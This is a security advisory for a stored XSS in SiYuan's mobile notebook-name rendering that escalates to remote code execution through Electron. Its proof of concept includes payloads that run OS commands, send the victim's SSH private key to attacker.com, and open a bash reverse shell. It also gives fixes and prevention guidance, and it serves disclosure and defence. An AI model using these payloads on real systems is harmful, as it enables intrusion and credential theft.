GHSA-qr46-rcv3-4hq3 CVE-2026-32751 GO-2026-4706
SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.83%
- Chance of exploitation in the next 30 days. Higher than 57.48% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- None yet
- No fixed version published
Description
Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface
Summary
SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.
Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.
Affected Component
- Vulnerable file:
app/src/mobile/dock/MobileFiles.ts:77 - Safe counterpart:
app/src/layout/dock/Files.ts:104(usesescapeHtml) - Backend (no escaping):
kernel/api/notebook.go:104-116(renameNotebook) - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false) - Endpoint:
POST /api/notebook/renameNotebook(authenticated) - Version: SiYuan <= 3.5.9
Vulnerable Code
Mobile — no escaping (MobileFiles.ts:77)
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
break;
Desktop — properly escaped (Files.ts:104)
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
break;
Backend — sends unescaped name (notebook.go:104-116)
func renameNotebook(c *gin.Context) {
// ...
name := arg["name"].(string)
err := model.RenameBox(notebook, name)
// ...
evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
evt.Data = map[string]interface{}{
"box": notebook,
"name": name, // Unescaped — sent directly to all clients
}
util.PushEvent(evt)
}
model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.
Electron — Node.js in renderer (main.js:422-426)
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker).
1. Set malicious notebook name (RCE payload)
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
On Linux/macOS:
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}
Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.
2. Mobile client renders and executes
When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec() — arbitrary OS command execution.
3. Verified event content
# Unauthenticated WebSocket listener receives:
{
"cmd": "renamenotebook",
"data": {
"box": "20260309161535-do8qg95",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
}
The HTML/JS payload is preserved verbatim in the WebSocket event.
4. Data exfiltration variant
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}
5. Reverse shell variant
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}
Attack Scenario
- In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
- The
renamenotebookevent broadcasts the payload to ALL connected clients - Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
nodeIntegration: truegives the injected JavaScript full OS access- Attacker achieves arbitrary command execution on the victim's machine
Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.
Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.
Impact
- Severity: CRITICAL (CVSS ~9.0)
- Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Full remote code execution on Electron desktop via
nodeIntegration: true - Stored XSS — notebook names persist across sessions and survive restarts
- Propagates via cloud sync to all synced devices
- Affects all mobile interface users and desktop users in mobile/narrow layout
- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
- Can steal files, credentials, SSH keys, install backdoors, open reverse shells
Suggested Fix
1. Apply the same escaping used in the desktop version
// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
2. Sanitize notebook names on the backend
func RenameBox(boxID, name string) (err error) {
name = util.EscapeHTML(name) // Sanitize at the source
// ...
}
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260313024916-fd6526133bb3 |
No fix yet |
| github.com/siyuan-note/siyuan/kernel | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- Passive
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-rpx2-p6hp-x5gj SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor